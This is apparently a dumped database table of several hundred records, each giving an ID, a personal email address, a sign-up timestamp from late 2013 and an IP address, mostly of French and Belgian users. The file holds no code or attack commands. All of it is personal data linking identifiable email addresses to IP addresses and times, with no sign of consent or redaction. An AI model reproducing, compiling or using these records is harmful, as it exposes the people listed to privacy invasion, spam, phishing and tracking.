+1267;lisa.olivieri@laposte.net;2013-10-25 19:59:55;2.4.164.18 +1268;valloire.michel@orange.fr;2013-10-25 20:00:00;92.129.60.31 +1269;mila.80@hotmail.fr;2013-10-25 20:46:51;88.141.181.251 +1271;punkesse@hotmail.fr;2013-10-25 21:12:54;81.14.16.217 +1272;aline291280@aol.com;2013-10-25 21:13:54;84.102.237.64 +1273;karine.roumens@sfr.fr;2013-10-25 21:19:36;109.15.118.95 +1274;nalakali@hotmail.com;2013-10-25 21:19:48;78.112.200.31 +1275;julieoumomo@hotmail.fr;2013-10-25 21:26:00;88.138.119.22 +1276;florence.froment@aliceadsl.fr;2013-10-25 21:30:40;78.236.62.154 +1277;ursulet.erick@neuf.fr;2013-10-25 21:44:39;109.8.123.1 +1278;natdan59@live.fr;2013-10-25 22:04:51;92.142.180.65 +1279;sabinegueibe@hotmail.com;2013-10-25 22:12:57;178.50.74.112 +1280;mjhautbergue@wanadoo.fr;2013-10-25 22:15:27;89.2.83.244 +1281;julitte07@orange.fr;2013-10-25 22:40:37;90.23.197.252 +1282;mf.lozach@wanadoo.fr;2013-10-25 22:44:21;109.215.161.140 +1283;valerie.bellair.laville@gmail.com;2013-10-25 22:44:46;77.196.233.200 +1284;latitefee54540@hotmail.fr;2013-10-25 22:59:00;89.2.76.243 +1285;seculais@west-telecom.com;2013-10-25 22:59:49;89.2.76.243 +1286;Benedicte.terzian@free.fr;2013-10-25 23:45:48;88.180.230.5 +1287;claupat216@free.fr;2013-10-25 23:52:42;88.172.121.62 +1288;lisa.levi88@gmail.com;2013-10-26 00:55:00;89.156.67.43 +1289;jessietriplet@yahoo.fr;2013-10-26 01:09:08;89.91.173.163 +1290;sarahlan71@gmail.com;2013-10-26 01:36:40;88.189.116.156 +1292;juliettesalignac@gmail.com;2013-10-26 05:04:49;65.49.14.165 +1293;nathaliefast@hotmail.com;2013-10-26 08:02:48;91.177.207.128 +1294;sylure98@gmail.com;2013-10-26 09:02:23;175.158.184.14 +1295;Lydie.mathurin.d@gmail.com;2013-10-26 09:14:50;80.215.33.14 +1296;s.goto@free.fr;2013-10-26 10:06:40;78.236.232.21 +1297;couetmarie@orange.fr;2013-10-26 10:11:06;90.13.240.19 +1298;estelleadoud@hotmail.fr;2013-10-26 10:11:47;90.13.240.19 +1299;cindy.moussaoui@pandora.be;2013-10-26 10:43:12;141.135.21.94 +1300;Atine-30@live.fr;2013-10-26 12:15:15;90.7.108.242 +1301;germainviolette@yahoo.fr;2013-10-26 13:19:02;86.201.160.204 +1302;magali.pons18@orange.fr;2013-10-26 13:19:51;90.52.211.234 +1303;mamanprendsoindelle@gmail.com;2013-10-26 15:51:14;31.32.95.52 +1304;loffelga@gmail.com;2013-10-26 15:51:22;31.32.95.52 +1305;ashleylirus@hotmail.fr;2013-10-26 15:51:34;31.32.95.52 +1306;tati240@hotmail.com;2013-10-26 17:29:55;86.69.234.56 +1307;lamendin_aur@yahoo.fr;2013-10-26 18:48:53;78.236.42.93 +1308;melanie.devaux@live.fr;2013-10-26 19:26:45;78.229.222.127 +1309;vlongeard@yahoo.fr;2013-10-27 08:24:06;82.230.171.8 +1310;angelongles@yahoo.fr;2013-10-27 09:20:17;78.115.144.15 +1311;sophiebeautyvaucluse@gmail.com;2013-10-27 10:48:42;93.4.158.11 +1312;sosolanni@gmail.com;2013-10-27 10:48:56;93.4.158.11 +1313;baguecalais@aol.com;2013-10-27 10:56:09;89.84.103.93 +1315;shouika-xfashionx@hotmail.fr;2013-10-27 11:39:01;88.171.79.62 +1316;chantal.ognier@gmail.com;2013-10-27 12:47:52;88.186.163.206 +1317;melles.0512@hotmail.com;2013-10-27 12:57:43;88.175.73.193 +1318;lyline036@gmail.com;2013-10-27 13:36:03;92.140.246.172 +1319;magali.coeur@free.fr;2013-10-27 13:59:37;82.242.199.59 +1320;mido.briand@gmail.com;2013-10-27 14:50:00;84.101.168.142 +1321;chabas.manon@yahoo.com;2013-10-27 14:56:55;46.193.163.196 +1322;magalimontaud@yahoo.fr;2013-10-27 15:03:19;92.158.83.152 +1323;chbibollet@hotmail.com;2013-10-27 15:41:21;90.41.122.18 +1324;jksb@voila.fr;2013-10-27 16:33:12;88.171.234.118 +1325;emeline.esthetique@laposte.net;2013-10-27 17:29:10;92.90.16.191 +1326;anais.martin24@free.fr;2013-10-27 17:31:07;82.238.55.141 +1327;josettepotier@hotmail.com;2013-10-27 18:38:10;89.226.72.39 +1328;koryne.consortium@laposte.net;2013-10-27 19:06:29;84.101.12.250 +1329;cderobert@sfr.fr;2013-10-27 20:08:00;109.11.155.135 +1330;sandgermain@orange.fr;2013-10-27 22:02:06;90.63.13.133 +1331;odilenzb@gmail.com;2013-10-27 23:29:30;78.223.41.117 +1332;pour.etre.belle.blog@gmail.com;2013-10-28 09:12:43;109.217.200.146 +1333;svt.pietrera@laposte.net;2013-10-28 09:35:39;80.11.190.229 +1334;stephanieblanchet@hotmail.com;2013-10-28 09:48:27;85.191.58.96 +1335;nathalie.giubilei@free.fr;2013-10-28 10:46:56;83.155.1.237 +1336;charlotte.fichot@orange.fr;2013-10-28 12:19:15;213.138.23.211 +1337;agnes.fichot@nordnet.fr;2013-10-28 12:19:42;213.138.23.211 +1338;marjory.leroux@gmail.com;2013-10-28 13:26:56;193.248.142.39 +1339;lysiane.vallet@skynet.be;2013-10-28 13:50:01;109.130.85.69 +1340;miss_cilou@hotmail.fr;2013-10-28 16:56:01;82.126.228.145 +1341;lizlyvantu@hotmail.fr;2013-10-28 17:44:12;62.35.122.135 +1342;boizot.bernard@neuf.fr;2013-10-28 19:03:50;84.100.38.31 +1344;justine.ploux@gmail.com;2013-10-28 21:53:53;86.220.216.32 +1345;raphael.leroy@nordnet.fr;2013-10-29 08:18:40;88.124.176.142 +1346;didier.bourgeois24@wanadoo.fr;2013-10-29 09:30:03;90.56.29.50 +1349;lamrani.rim@gmail.com;2013-10-29 11:35:22;195.68.50.98 +1350;katty_6@hotmail.fr;2013-10-29 12:20:11;81.57.119.171 +1351;sylvievillard@sfr.fr;2013-10-29 12:21:27;81.57.119.171 +1352;jacqueline.salvatori-lods@wanadoo.fr;2013-10-29 12:22:34;81.57.119.171 +1354;lafeeaurely@hotmail.fr;2013-10-29 13:23:37;88.184.111.89 +1355;sarah.guerguet@laposte.net;2013-10-29 20:16:46;78.198.212.8 +1356;titi_69200@yahoo.fr;2013-10-29 21:05:20;86.67.69.244 +1357;jessica.giacalone80@gmail.com;2013-10-30 08:12:32;89.170.19.115 +1358;jp.boudou0014@orange.fr;2013-10-30 15:02:07;86.205.157.212 +1359;nathaliem0383@orange.fr;2013-10-30 17:00:26;2.13.232.87 +1360;segoleneetsebastien@gmail.com;2013-10-30 21:35:46;93.25.149.248 +1361;maurice.nervet@wanadoo.fr;2013-10-31 13:36:36;90.18.214.128 +1362;s.treuil@orange.fr;2013-10-31 17:50:23;90.45.95.146 +1363;kokeshi17@gmail.com;2013-10-31 18:38:32;87.90.242.128 +1364;morgan33fh@orange.fr;2013-10-31 21:50:33;90.55.127.128 +1365;chriserico2008@hotmail.fr;2013-11-01 07:11:54;82.226.192.71 +1366;isagimel@mac.com;2013-11-01 10:32:04;90.63.103.19 +1367;bg.moisan@laposte.net;2013-11-01 11:07:26;2.13.151.55 +1368;strelita56@hotmail.com;2013-11-01 12:01:58;90.63.87.223 +1369;vkergot@hotmail.fr;2013-11-01 15:23:34;88.166.48.65 +1370;litana83@hotmail.fr;2013-11-01 18:05:01;86.76.201.254 +1371;samia_leshaf@hotmail.fr;2013-11-01 21:29:32;5.50.155.179 +1372;ilesfidji30@gmail.com;2013-11-01 22:45:04;88.169.242.165 +1374;tatacoranno@aol.com;2013-11-02 17:16:05;77.196.13.169 +1375;SPECIALE.K@LIVE.FR;2013-11-02 17:23:49;82.231.179.62 +1376;m_marie@hotmail.com;2013-11-02 22:48:02;93.186.23.84 +1377;adeline.richard2@orange.fr;2013-11-02 22:48:42;93.186.23.84 +1378;julie1810@voila.fr;2013-11-03 08:26:10;2.4.121.245 +1379;france.carole@only.fr;2013-11-04 00:02:08;188.115.125.205 +1380;orangebleu06@hotmail.fr;2013-11-04 11:47:15;86.193.255.151 +1381;patreategui@hotmail.com;2013-11-04 15:12:26;188.79.32.252 +1382;percassitest@gmail.com;2013-11-04 15:23:24;2.228.102.132 +1384;caroline.criniere@fleishmaneurope.com;2013-11-04 16:46:50;217.156.199.247 +1385;marion.moland@gmail.com;2013-11-04 17:32:01;109.222.117.121 +1386;gegeettete@hotmail.com;2013-11-05 06:54:52;31.35.80.15 +1387;phie.andrei-simoni@perso.alliadis.net;2013-11-05 15:36:52;194.5.134.181 +1388;pharmaciedespassons@orange.fr;2013-11-05 15:39:25;109.208.129.54 +1389;lehegarat-l@orange.fr;2013-11-05 16:09:15;92.90.16.119 +1390;didinao@wanadoo.fr;2013-11-05 16:13:33;78.250.241.139 +1391;marzozite@gmail.com;2013-11-05 17:33:44;90.3.119.213 +1392;locontedith.fred@gmail.com;2013-11-05 18:11:24;2.4.211.228 +1393;domica08@yahoo.fr;2013-11-06 03:16:21;88.165.31.132 +1394;stephanie.simon57@orange.fr;2013-11-06 08:36:21;194.8.148.6 +1395;brigitteraclot83@hotmail.fr;2013-11-06 10:10:34;90.80.100.169 +1396;m.freitag@sfr.fr;2013-11-06 10:37:44;93.26.51.183 +1397;laurence.zol@hotmail.fr;2013-11-06 11:52:57;192.44.63.163 +1398;dila02@HOTMAIL.COM;2013-11-06 13:37:11;82.230.42.69 +1399;mamzelleboom@gmail.com;2013-11-06 14:14:57;109.190.104.54 +1400;marian.wolff@laposte.net;2013-11-06 15:52:41;213.144.205.195 +1401;Lamissleonie@hotmail.fr;2013-11-06 19:46:21;80.12.100.45 +1402;ingrid.delbauche@gmail.com;2013-11-06 20:00:55;89.3.149.111 +1403;kizouina@yahoo.fr;2013-11-06 20:25:08;88.186.56.214 +1404;evelyne.venditti@gmail.com;2013-11-06 22:55:16;46.127.244.102 +1405;odile_watson@hotmail.com;2013-11-07 17:37:51;91.49.143.61 +1406;peuriere.laurent@orange.fr;2013-11-07 18:41:43;109.213.63.110 +1407;delphi29@sfr.fr;2013-11-07 20:23:30;109.30.64.98 +1408;laurel.1@free.fr;2013-11-07 21:17:56;82.255.9.21 +1409;perrinanneso@yahoo.fr;2013-11-07 22:09:44;83.156.238.144 +1410;paulinemails@aliceadsl.fr;2013-11-07 22:15:32;88.186.97.7 +1412;juliemoukarzel@hotmail.com;2013-11-08 11:08:12;92.156.158.41 +1413;lyne59170@hotmail.fr;2013-11-08 18:34:30;82.66.140.184 +1414;chloe.derache@live.fr;2013-11-08 18:48:45;81.66.106.181 +1415;tavalice@hotmail.fr;2013-11-08 19:09:17;200.37.127.51 +1416;loaec.eric@wanadoo.fr;2013-11-08 19:44:34;92.139.31.248 +1417;marie.guirimand@club-internet.fr;2013-11-08 19:50:05;81.56.17.191 +1418;xkitty-stramberryx@hotmail.fr;2013-11-08 19:50:39;90.23.254.67 +1419;carine.galy@hotmail.com;2013-11-08 20:50:48;88.164.79.218 +1420;ludisand30@orange.fr;2013-11-08 20:57:22;92.145.9.222 +1421;caroline.sire@gmail.com;2013-11-08 21:49:56;80.215.132.154 +1422;agneslaurencon@live.fr;2013-11-08 22:07:12;81.53.52.79 +1423;martine_brodard@hotmail.com;2013-11-08 22:25:08;188.62.17.212 +1424;elamore87@gmail.com;2013-11-08 22:52:49;109.14.8.25 +1425;nanietresor@sfr.fr;2013-11-08 23:17:46;109.215.13.245 +1426;juliegros@orange.fr;2013-11-08 23:20:14;86.69.93.190 +1429;bj.oesch@bluewin.ch;2013-11-09 13:12:58;178.194.201.213 +1430;pharmaciebazeille@hotmail.fr;2013-11-09 13:29:16;80.15.80.37 +1431;lichardyketty@gmail.com;2013-11-09 15:38:54;195.115.117.40 +1432;corinne.maisonneuve@wanadoo.fr;2013-11-09 17:00:58;88.167.208.243 +1433;cheyenne5@wanadoo.fr;2013-11-09 22:38:37;90.10.100.213 +1434;amandine.cros@me.com;2013-11-10 01:05:09;2.2.142.186 +1437;laurence.sanchez11@hotmail.fr;2013-11-10 10:23:38;90.57.77.144 +1438;combrexelle_angelique@hotmail.com;2013-11-10 20:33:39;91.183.115.219 +1439;vicky.geeraerts@laposte.net;2013-11-10 21:47:39;78.231.92.189 +1441;michele.chorda@yahoo.fr;2013-11-11 11:00:42;82.249.192.43 +1442;marie-jeanne0705@hotmail.fr;2013-11-11 16:25:45;92.147.229.20 +1443;skyelle@voila.fr;2013-11-11 17:14:52;82.243.52.33 +1444;eaudoui@yahoo.fr;2013-11-11 18:12:45;85.68.98.236 +1445;gelb.Melissa@gmail.com;2013-11-11 19:28:46;80.215.32.156 +1446;nathjeanloui@hotmail.fr;2013-11-11 21:18:16;88.172.212.38 +1447;mariefrance.laforet@cegetel.net;2013-11-11 22:11:24;109.9.244.196 +1448;dupont-roy.sandrine@orange.fr;2013-11-12 13:23:34;192.54.145.146 +1449;alexandre.andco@laposte.net;2013-11-12 16:25:46;86.72.224.59 +1450;stephfitness@orange.fr;2013-11-12 18:45:06;217.128.12.161 +1451;fasquel.carine@laposte.net;2013-11-12 22:29:35;90.58.15.105 +1452;nellymarin1305@gmail.com;2013-11-12 22:32:07;93.1.138.135 +1453;angora7jd@hotmail.fr;2013-11-13 11:44:11;213.55.1.114 +1454;ayana_cielo@yahoo.fr;2013-11-13 13:21:52;81.67.147.65 +1455;ophelie-rivard@live.fr;2013-11-13 13:46:27;78.225.185.55 +1456;allambert@estvideo.fr;2013-11-13 15:20:08;193.162.26.10 +1457;aouda972@yahoo.fr;2013-11-13 15:48:31;90.57.144.125 +1458;mabilde@sfr.fr;2013-11-13 16:36:31;85.171.144.192 +1459;marieplefranc@aol.com;2013-11-13 18:20:49;84.6.207.35 +1460;laisdemarie@sfr.fr;2013-11-13 18:47:22;84.102.136.165 +1461;brigitte.sirvent@hotmail.fr;2013-11-13 19:44:12;90.57.54.44 +1463;corinneluk@hotmail.fr;2013-11-13 22:13:18;82.250.35.27 +1464;sophianne.b@me.com;2013-11-13 22:36:49;94.109.86.144 +1465;fbillard@live.fr;2013-11-14 11:05:14;88.189.117.115 +1466;Peaudecrocoblog@gmail.com;2013-11-14 13:55:53;50.200.100.129 +1467;delphine.delayen@orange.fr;2013-11-15 09:46:33;86.210.25.148 +1468;morizot.veronique@neuf.fr;2013-11-15 11:27:39;82.127.48.245 +1469;erica.filhiol-milani@laposte.net;2013-11-15 15:45:17;90.29.140.131 +1470;minimili_22@hotmail.fr;2013-11-15 18:20:39;86.214.29.47 +1471;sandrine.lessentiel@skynet.be;2013-11-15 19:50:40;87.66.192.34 +1472;petite_popo29@hotmail.fr;2013-11-15 22:08:49;82.245.203.105 +1473;laetitia.mi22@orange.fr;2013-11-15 23:58:06;2.2.129.83 +1474;sdavinblanc@gmail.com;2013-11-16 02:16:10;202.22.229.20 +1475;monique.ortiz2@free.fr;2013-11-16 10:43:06;82.233.82.155 +1476;bezaultstephanie@yahoo.fr;2013-11-16 11:44:11;85.2.61.188 +1477;angelmod@hotmail.fr;2013-11-16 18:36:39;81.14.17.168 +1478;lydi.kler@orange.fr;2013-11-16 21:22:12;2.14.59.45 +1480;ndie@orange.fr;2013-11-17 08:50:30;92.158.94.99 +1481;france.kubler@gmail.com;2013-11-17 11:39:18;86.204.90.69 +1482;budhabay@hotmail.fr;2013-11-17 13:17:28;109.218.247.92 +1483;mano.r@orange.fr;2013-11-17 14:41:33;90.19.192.225 +1484;sersar.insaf@gmail.com;2013-11-17 15:01:16;41.110.104.109 +1485;raymonde.cullus@gmail.com;2013-11-17 15:05:10;80.201.61.89 +1486;ludeleo@orange.fr;2013-11-17 15:32:56;109.222.137.97 +1487;julie.dubois1987@gmail.com;2013-11-17 15:56:43;84.6.103.138 +1488;max.darcis@gmail.com;2013-11-17 16:58:10;109.24.175.248 +1489;hirsoux.c@gmail.com;2013-11-17 17:45:40;81.246.178.30 +1490;martine.taussac@live.fr;2013-11-17 20:12:06;89.85.0.240 +1491;delavegateam@hotmail.com;2013-11-17 20:24:22;82.239.180.44 +1492;laurent.louis11@wanadoo.fr;2013-11-17 20:30:30;92.148.133.250 +1493;carolemystere@hotmail.fr;2013-11-17 21:42:32;78.240.68.150 +1494;sarah.goyon@orange.fr;2013-11-17 21:45:23;90.39.22.251 +1495;angie1111@hotmail.fr;2013-11-18 09:38:08;93.3.34.186 +1496;dubreuilmuriel@hotmail.fr;2013-11-18 13:38:37;176.186.31.200 +1497;christelle.choux@hotmail.fr;2013-11-18 16:30:00;78.232.148.112 +1498;Valerie.lucas@cegetel.net;2013-11-18 19:29:19;79.84.80.175 +1499;cathy24.jamoulle@hotmail.com;2013-11-19 09:34:06;81.246.177.194 +1500;veronique.spiteri@sfr.fr;2013-11-19 16:20:48;81.14.39.179 +1501;monica.mantilleri@hotmail.fr;2013-11-19 16:51:03;86.209.213.204 +1502;cruzda74@gmail.com;2013-11-19 22:24:17;86.210.55.38 +1503;horizongles@orange.fr;2013-11-20 11:06:35;90.61.104.102 +1504;cleopatre-12@hotmail.fr;2013-11-20 11:22:34;79.93.157.245 +1505;Nasiba.merouane@laposte.net;2013-11-20 13:00:10;90.44.172.207 +1506;philippe.neveu21@wanadoo.fr;2013-11-20 17:18:23;90.21.94.110 +1507;lasuite25@gmail.com;2013-11-20 18:48:35;90.48.193.172 +1508;meg672@hotmail.fr;2013-11-20 20:39:28;213.44.217.115 +1509;sandyb38130@hotmail.fr;2013-11-20 21:42:52;89.80.30.8 +1511;letigrouli@gmail.com;2013-11-21 12:56:34;109.21.84.69 +1512;a.gossiaux@hotmail.com;2013-11-21 16:20:36;85.27.82.66 +1513;klouchet@hotmail.fr;2013-11-21 18:18:41;92.129.39.230 +1514;therese.31@orange.fr;2013-11-21 21:57:43;109.222.250.154 +1515;adalencon@laposte.net;2013-11-22 09:19:28;109.30.68.73 +1516;julie.delporte@lexel.fr;2013-11-22 09:49:30;46.218.44.18 +1518;raymonde.lehmann@icloud.com;2013-11-22 12:03:32;81.53.138.183 +1519;profelsafigueiredo@gmail.com;2013-11-22 12:11:01;37.28.197.97 +1520;bea.pere67@hotmail.com;2013-11-22 21:52:21;92.146.122.53 +1521;laurenceTbis@gmail.com;2013-11-23 09:30:05;82.238.252.198 +1522;marianne.arsouze@wanadoo.fr;2013-11-23 11:00:19;83.203.127.225 +1523;aline.contezac@yahoo.fr;2013-11-23 12:41:17;81.57.185.75 +1524;maria.avdonina@gmail.com;2013-11-23 15:34:52;194.158.85.44 +1525;agnes02@libertysurf.fr;2013-11-23 17:57:01;88.176.193.196 +1526;mfrancisca.murillo@gmail.com;2013-11-23 22:42:54;80.103.81.216 +1527;andesnou@gmail.com;2013-11-23 23:38:42;87.90.1.20 +1528;noelle_lemoine@yahoo.fr;2013-11-24 00:53:37;109.21.220.9 +1529;florence.portelli@orange.fr;2013-11-24 08:51:46;109.223.189.193 +1530;henda2@wanadoo.fr;2013-11-24 11:48:56;83.198.47.234 +1531;weber.pascale@free.fr;2013-11-24 14:30:39;82.227.100.148 +1532;nschott@dartybox.com;2013-11-24 16:59:54;89.227.35.72 +1533;ptitemisslilie@hotmail.fr;2013-11-24 17:21:10;88.160.60.200 +1534;uramarovelo@gmail.com;2013-11-24 17:38:25;86.74.26.213 +1535;yogacy3@yahoo.fr;2013-11-24 19:42:43;85.69.34.157 +1536;erica.chatillon@orange.fr;2013-11-24 20:28:23;90.25.139.109 +1537;stephane-vanherrewege@hotmail.fr;2013-11-24 20:30:22;93.27.70.57 +1538;victoria.campanile@cegetel.net;2013-11-24 20:36:29;79.84.234.117 +1539;mystic__55@live.fr;2013-11-24 20:39:10;84.6.164.115 +1540;brigitte.cucherat-fleury@wanadoo.fr;2013-11-25 22:06:03;82.126.158.182 +1541;jebussiere@modulonet.fr;2013-11-26 11:19:39;212.198.25.251 +1542;emilovi@me.com;2013-11-26 13:21:20;88.178.177.56 +1543;melmarmin@hotmail.fr;2013-11-26 18:39:27;78.116.100.79 +1544;franck.motte2@wanadoo.fr;2013-11-26 19:37:52;90.39.179.212 +1546;luciab77@hotmail.com;2013-11-27 14:12:41;91.178.186.39 +1547;docbib@sfr.fr;2013-11-27 18:33:34;93.11.224.88 +1548;emilie.brinette@gmail.com;2013-11-27 18:38:51;82.226.117.197 +1549;fwdj@msn.com;2013-11-28 16:02:19;82.254.179.140 +1550;lena697@live.fr;2013-11-28 17:53:00;195.6.196.253 +1551;2163m.sdruonmarechal@laposte.net;2013-11-28 18:30:18;93.0.126.84 +1552;murielmarc@hotmail.fr;2013-11-28 20:16:54;78.230.198.24 +1553;cafou_fr2000@yahoo.fr;2013-11-28 21:30:49;2.1.119.34 +1554;alaindanaux@free.fr;2013-11-29 19:05:09;82.246.85.35 +1555;patricia.crauser66@orange.fr;2013-11-29 20:23:52;80.185.22.232 +1556;v.petrus@orange.fr;2013-11-29 20:55:49;83.198.110.187 +1557;monicajrr@hotmail.com;2013-11-30 01:26:43;109.129.154.177 +1559;gautiernathalie_fr@yahoo.fr;2013-11-30 13:53:02;78.207.134.13 +1560;mazzocco_sandrine@orange.fr;2013-11-30 14:04:31;83.205.18.213 +1561;muguette.grebil@sfr.fr;2013-11-30 15:03:55;86.76.9.220 +1562;a-s.nicolai@hotmail.fr;2013-11-30 23:01:41;77.205.210.135 +1563;aureliaserenne@gmail.com;2013-12-01 12:17:01;88.140.197.147 +1564;lindatiti@msn.com;2013-12-01 16:23:07;109.128.130.137 +1565;carletyves@gmail.com;2013-12-01 18:50:45;82.246.101.197 +1566;Ginie_rocks@yahoo.de;2013-12-01 20:51:17;80.185.86.247 +1567;capucine.thierry@gmail.com;2013-12-01 21:56:14;92.90.26.108 +1568;anne_sophie22@yahoo.com;2013-12-01 22:06:56;94.140.16.24 +1569;mathilde.peyron@orange.fr;2013-12-01 23:11:13;92.136.196.225 +1570;elebrat@cqmasso.com;2013-12-02 15:08:49;78.113.176.9 +1571;a.chimenes@free.fr;2013-12-02 17:23:02;194.214.231.94 +1572;praudn@gmail.com;2013-12-02 18:03:28;212.195.111.4 +1573;clementiiine.m@hotmail.fr;2013-12-02 19:21:40;79.141.204.180 +1574;sylvie.py32@orange.fr;2013-12-03 09:56:13;86.206.51.128 +1575;julye02@free.fr;2013-12-03 10:01:33;78.220.45.45 +1576;aurelielambin@voila.fr;2013-12-03 11:12:16;109.7.47.130 +1577;an_loes@yahoo.fr;2013-12-03 15:05:29;212.166.42.132 +1578;nijiaqi87@gmail.com;2013-12-03 16:43:25;180.155.60.72 +1579;m.baume@laposte.net;2013-12-03 18:53:53;88.170.215.13 +1581;rainbow352009@live.fr;2013-12-03 19:02:04;82.238.59.68 +1582;carole.allione@gmail.com;2013-12-03 20:16:05;80.118.111.106 +1583;aude.chopard@neuf.fr;2013-12-03 22:13:54;82.236.28.135 +1584;mailys.hily1403@gmail.com;2013-12-03 23:15:25;88.168.192.236 +1585;vialleisa@orange.fr;2013-12-04 06:32:37;82.121.13.250 +1586;laurine001@hotmail.com;2013-12-04 09:41:10;62.161.105.69 +1587;misskittin123@hotmail.com;2013-12-04 09:46:01;78.213.107.169 +1588;goulian.morgane@neuf.fr;2013-12-04 10:21:39;81.252.219.209 +1589;angelonia83@gmail.com;2013-12-04 10:39:29;78.243.105.131 +1590;bassieuxcarole@orange.fr;2013-12-04 10:45:54;90.6.62.14 +1591;alice.fournil@gmail.com;2013-12-04 11:06:17;78.205.100.82 +1592;flore_89@hotmail.com;2013-12-04 11:40:49;139.124.243.123 +1593;catja@wanadoo.fr;2013-12-04 12:15:19;195.25.164.69 +1594;saman792003@yahoo.fr;2013-12-04 13:50:27;83.152.168.236 +1595;magalie.ancien@hotmail.fr;2013-12-04 14:41:29;82.127.137.13 +1596;kfernandez@free.fr;2013-12-04 14:54:50;92.151.208.53 +1597;caroline.ganay4@orange.fr;2013-12-04 19:08:06;90.8.48.172 +1598;catherinehecquet@wanadoo.fr;2013-12-04 20:47:48;90.7.45.254 +1599;v.giafferi@orange.fr;2013-12-04 21:32:50;92.153.155.2 +1600;mllesephora@gmail.com;2013-12-04 22:05:30;92.90.20.210 +1601;delphinebonn@hotmail.com;2013-12-04 22:07:43;86.70.138.139 +1602;xelby@hotmail.fr;2013-12-04 22:25:10;81.66.126.17 +1603;h_a_n_a_e@hotmail.fr;2013-12-05 03:16:56;88.139.115.161 +1604;helenelaurencepicou@yahoo.fr;2013-12-05 05:02:37;31.34.3.135 +1605;maloird@gmail.com;2013-12-05 08:14:19;212.51.174.106 +1606;adorabledomi@hotmail.com;2013-12-05 09:11:18;46.253.165.210 +1607;isa_alain@orange.fr;2013-12-05 09:52:51;86.199.124.218 +1608;sandri2907@wanadoo.fr;2013-12-05 11:50:32;77.199.30.76 +1609;sandrine.burkhardt@gmail.com;2013-12-05 12:21:49;82.231.67.164 +1610;laetilongo@gmail.com;2013-12-05 13:39:19;62.201.135.246 +1611;adeline.arn@voila.fr;2013-12-05 13:44:12;109.210.163.36 +1612;jlg0208@gmail.com;2013-12-05 14:38:25;217.128.66.249 +1613;ninooo24@hotmail.fr;2013-12-05 15:53:47;92.162.184.226 +1615;tiffanie.granara@gmail.com;2013-12-05 18:37:31;88.175.254.20 +1616;li.lou.du37@hotmail.fr;2013-12-05 20:04:23;85.69.164.139 +1617;bettyboop197409@yahoo.fr;2013-12-05 20:40:07;90.0.161.17 +1618;maryjane.071184@hotmail.fr;2013-12-05 21:03:40;128.78.161.106 +1619;charline-picard@orange.fr;2013-12-05 21:15:54;92.147.207.240 +1620;mylssrdr@gmail.com;2013-12-05 21:59:20;89.2.36.168 +1621;minimad@hotmail.be;2013-12-05 23:40:14;91.176.32.249 +1622;isabellemarcon@skynet.be;2013-12-06 08:15:37;80.201.63.172 +1623;audrey_391@hotmail.com;2013-12-06 08:57:39;78.251.131.3 +1624;sprietca@gmail.com;2013-12-06 11:27:21;130.190.85.194 +1625;karine81d@hotmail.com;2013-12-06 12:16:59;82.127.185.131 +1626;dpelardy@laposte.net;2013-12-06 12:17:46;90.15.192.230 +1627;fcollomb@free.fr;2013-12-06 12:19:11;81.66.222.95 +1628;virginiepruvot@hotmail.com;2013-12-06 14:45:00;90.17.74.165 +1629;justine_minet@hotmail.com;2013-12-06 16:45:21;80.9.195.212 +1630;sarah.gauvin@hotmail.fr;2013-12-06 17:21:24;93.25.61.187 +1631;flapierre@noos.fr;2013-12-06 17:21:30;85.170.164.117 +1632;rabillou@orange.fr;2013-12-06 17:56:10;82.125.39.22 +1633;jadene13@live.fr;2013-12-06 18:33:09;84.5.113.162 +1634;aline.doruch@bbox.fr;2013-12-06 18:36:23;87.90.117.105 +1635;bostyn.delphine@gmail.com;2013-12-06 18:54:12;31.36.150.89 +1636;brigitte.vidongeni@gmail.com;2013-12-06 20:18:11;77.204.138.22 +1637;noura.toumerle@sfr.fr;2013-12-06 23:15:10;86.71.82.102 +1638;ANNACSCARVALHO@AOL.COM;2013-12-06 23:26:31;93.0.34.100 +1639;adetaddeo@live.fr;2013-12-07 11:12:11;89.2.11.21 +1640;catherineguy3917@neuf.fr;2013-12-07 14:30:54;77.197.130.92 +1641;cmoilarene@hotmail.com;2013-12-07 15:34:00;82.233.121.94 +1642;catherineroy@hotmail.fr;2013-12-07 16:28:15;86.201.110.233 +1643;ashlinefrancois@hotmail.com;2013-12-07 16:33:38;31.39.90.155 +1644;superluz10@gmail.com;2013-12-07 16:45:40;86.195.179.196 +1645;christine.dinand@laposte.net;2013-12-07 17:26:34;88.188.155.9 +1646;cvgpflieger@yahoo.fr;2013-12-07 18:05:11;92.150.131.187 +1647;sabrina-le@hotmail.fr;2013-12-07 18:27:15;109.12.13.188 +1648;tchoony@yahoo.fr;2013-12-07 18:53:43;88.174.155.93 +1649;afbesson@yahoo.fr;2013-12-07 18:54:14;88.174.155.93 +1650;bousquet.savennieres@orange.fr;2013-12-07 22:20:34;2.9.126.71 +1651;cecilesihalipesca@hotmail.fr;2013-12-07 22:27:23;89.93.105.1 +1652;kreamercecile@live.fr;2013-12-08 00:47:36;109.8.6.189 +1653;marytime55@hotmail.fr;2013-12-08 03:29:02;88.171.137.143 +1654;christiane.perrier53@free.fr;2013-12-08 09:47:16;88.182.122.11 +1655;cath.dekimpe@orange.fr;2013-12-08 19:51:28;86.208.87.73 +1656;ursenbacha@gmail.com;2013-12-08 20:49:14;88.185.26.40 +1657;cathbattaglia@hotmail.fr;2013-12-08 21:28:09;89.159.58.70 +1658;guesdon@obs-mip.fr;2013-12-09 11:36:02;193.52.224.207 +1659;raimbaultmarjorie@yahoo.fr;2013-12-09 12:33:00;89.3.13.196 +1660;ninette_93@hotmail.fr;2013-12-09 14:04:56;80.14.62.74 +1661;smadrias@gmail.com;2013-12-09 18:06:54;2.6.162.28 +1662;phito96@hotmail.com;2013-12-09 18:45:44;90.29.22.55 +1663;charline.cason@orange.fr;2013-12-09 19:54:08;2.5.74.80 +1665;cecile.manteau@free.fr;2013-12-09 21:06:31;82.225.216.106 +1666;noumea1312@voila.fr;2013-12-09 22:41:40;92.90.16.135 +1667;martine.rouviere5@orange.fr;2013-12-10 08:28:20;178.213.64.2 +1668;virginie.servillat@free.fr;2013-12-10 09:08:21;80.13.153.135 +1669;e.barrat@wanadoo.fr;2013-12-10 14:50:57;82.247.13.188 +1670;coyote479@hotmail.fr;2013-12-10 19:50:10;82.66.128.191 +1671;pegmichel@orange.fr;2013-12-10 22:29:04;90.84.144.106 +1672;pascalbrilland@orange.fr;2013-12-10 22:48:45;83.195.134.180 +1673;hognon.aurelia@orange.fr;2013-12-11 12:03:06;2.0.153.137 +1674;mathildecatanas@yahoo.fr;2013-12-11 15:25:42;5.49.11.162 